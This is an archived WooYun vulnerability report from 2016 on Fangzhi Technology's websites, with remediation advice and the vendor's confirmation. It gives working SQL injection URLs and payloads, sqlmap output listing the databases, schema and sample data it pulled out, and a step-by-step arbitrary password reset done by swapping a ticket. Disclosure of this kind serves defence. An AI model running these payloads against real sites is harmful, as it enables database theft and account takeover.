当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170512

漏洞标题:给方直科技的新年礼包(误

相关厂商:fzjty.com

漏洞作者: Msyb

提交时间:2016-01-17 12:27

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-17: 细节已通知厂商并且等待厂商处理中
2016-01-18: 厂商已经确认,细节仅向厂商公开
2016-01-28: 细节向核心白帽子及相关领域专家公开
2016-02-07: 细节向普通白帽子公开
2016-02-17: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

听说方直开发还是要回家过年的,所以这次就不拿shell了,随便看看。

详细说明:

首先是金太阳游乐场两处参数处理不当导致sql注射

http://game.kingsunsoft.com/PlayGame.aspx?GameID=@@version
http://game.kingsunsoft.com/UserCenterAjax.aspx?UserID=-1%20and%201=convert%28int,%28select%20@@version%29%29--&UserName=jason1208


1.png


2.png


但其实并不是完全没有过滤:

3.png


但这个过滤很不完善,只不过防止了攻击者破坏数据(insert update,drop delete......),获取信息却是畅通无阻。

sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests:
---
Parameter: GameID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: GameID=1 AND 2321=2321
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: GameID=1 AND 7565=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (7565=7565) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(107)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: GameID=(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (7458=7458) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(107)+CHAR(113))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: GameID=1;WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: GameID=1 WAITFOR DELAY '0:0:5'
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: GameID=1 UNION ALL SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+CHAR(101)+CHAR(88)+CHAR(104)+CHAR(119)+CHAR(73)+CHAR(77)+CHAR(98)+CHAR(103)+CHAR(90)+CHAR(110)+CHAR(73)+CHAR(70)+CHAR(79)+CHAR(112)+CHAR(97)+CHAR(80)+CHAR(97)+CHAR(76)+CHAR(113)+CHAR(82)+CHAR(109)+CHAR(67)+CHAR(67)+CHAR(83)+CHAR(81)+CHAR(113)+CHAR(75)+CHAR(120)+CHAR(117)+CHAR(106)+CHAR(121)+CHAR(97)+CHAR(75)+CHAR(83)+CHAR(80)+CHAR(75)+CHAR(113)+CHAR(86)+CHAR(98)+CHAR(110)+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(107)+CHAR(113),NULL,NULL,NULL-- -
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [15]:
[*] dnt3
[*] Familiy
[*] fzadv
[*] FZAgentDB
[*] FZCMS
[*] fzgsc
[*] gamepark
[*] kingsundb
[*] KSResource
[*] ksshop2
[*] master
[*] model
[*] msdb
[*] tempdb
[*] web_Date
某个表的字段
+------------+----------+
| Column | Type |
+------------+----------+
| id | int |
| lasttime | datetime |
| memo | varchar |
| rePoint | int |
| rId | int |
| SourceName | varchar |
| state | int |
| updateTime | datetime |
| uumsid | varchar |
+------------+----------+
几条数据:
ResFile/ftpmanage/other/2009/09/1a/Unit 10 Revision.mp3 |
ResFile/ftpmanage/other/2009/09/1a/Unit 2 Making friends.mp3


还有一个注入审核就不要试了!!!小心一下子就service unavailable

www.kingsunsoft.com/menhu/HelpContent.aspx?classid=149&classname=注册与登录


情况同上。
还有以前发过的也基本只用了那啥"防注入"脚本。
可能你们觉得就算有人把数据库全拖了也没关系吧= =
还有

http://www.kingsunsoft.com/admin/helper/HelpContent.aspx?classid=%28select%20@@version%29&classname=%E8%AE%A2%E5%8D%95%E7%AE%A1%E7%90%86


这个后台泄露的信息也挺多啊...

QQ截图20160116222343.png


就看了这些。
然后是一个简单的无话可说的 任意用户密码重置(
找回密码:

http://uums.kingsun.cn/Account/FogotPassword.aspx


先看下正常流程

5.png


6.png


7.png


8.png


重置任意用户密码(admin失败......)比如说这个一看就知道是乱注册的test

a.png


选择邮箱点下一步

b.png


然后得到ticket

c.png


替换ticket重置密码

d.png


End.

w.png


还有一个设计缺陷,可以泄露用户邮箱

http://uums.kingsunsoft.com/UserInterface/Password.aspx


到论坛随便找个用户

qqq.png


通过E-mail找回密码

j.png


233.png


不知道开发到底在想什么............

漏洞证明:

sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests:
---
Parameter: GameID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: GameID=1 AND 2321=2321
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: GameID=1 AND 7565=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (7565=7565) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(107)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: GameID=(SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (7458=7458) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(107)+CHAR(113))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: GameID=1;WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: GameID=1 WAITFOR DELAY '0:0:5'
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: GameID=1 UNION ALL SELECT CHAR(113)+CHAR(122)+CHAR(122)+CHAR(98)+CHAR(113)+CHAR(101)+CHAR(88)+CHAR(104)+CHAR(119)+CHAR(73)+CHAR(77)+CHAR(98)+CHAR(103)+CHAR(90)+CHAR(110)+CHAR(73)+CHAR(70)+CHAR(79)+CHAR(112)+CHAR(97)+CHAR(80)+CHAR(97)+CHAR(76)+CHAR(113)+CHAR(82)+CHAR(109)+CHAR(67)+CHAR(67)+CHAR(83)+CHAR(81)+CHAR(113)+CHAR(75)+CHAR(120)+CHAR(117)+CHAR(106)+CHAR(121)+CHAR(97)+CHAR(75)+CHAR(83)+CHAR(80)+CHAR(75)+CHAR(113)+CHAR(86)+CHAR(98)+CHAR(110)+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(107)+CHAR(113),NULL,NULL,NULL-- -
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [15]:
[*] dnt3
[*] Familiy
[*] fzadv
[*] FZAgentDB
[*] FZCMS
[*] fzgsc
[*] gamepark
[*] kingsundb
[*] KSResource
[*] ksshop2
[*] master
[*] model
[*] msdb
[*] tempdb
[*] web_Date
某个表的字段
+------------+----------+
| Column | Type |
+------------+----------+
| id | int |
| lasttime | datetime |
| memo | varchar |
| rePoint | int |
| rId | int |
| SourceName | varchar |
| state | int |
| updateTime | datetime |
| uumsid | varchar |
+------------+----------+
几条数据:
ResFile/ftpmanage/other/2009/09/1a/Unit 10 Revision.mp3 |
ResFile/ftpmanage/other/2009/09/1a/Unit 2 Making friends.mp3


w.png


233.png


修复方案:

防注入脚本还是改一改嘛,把select这些加上又何妨。
还有到现在了你们的大量后台未授权访问还是没弄好,我就不多说了。
那个密码重置呢,像ticket这种东西不要发到客户端来,好好放session里面。
那个邮箱泄露虽说影响有限,但我个人认为开发应该自觉面壁,闲着没事返回到客户端搞啥呢。
还有一个给方直那位工作人员看的: 在乌云走小厂商的漏洞低级只有1rank,中级只有2rank,高级也不过4rank.也就是说你评级时选高级,然后11-20乱选一个,别人也只能得4rank,但rank评个20啥的别人看着舒服嘛,而且还说明你们重视安全呢,何乐而不为呢?有什么不乐于去做的呢?有什么不乐于去做的呢?有什么不乐于去做的呢?

版权声明:转载请注明来源 Msyb@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-18 09:25

厂商回复:

十分感谢!

最新状态:

暂无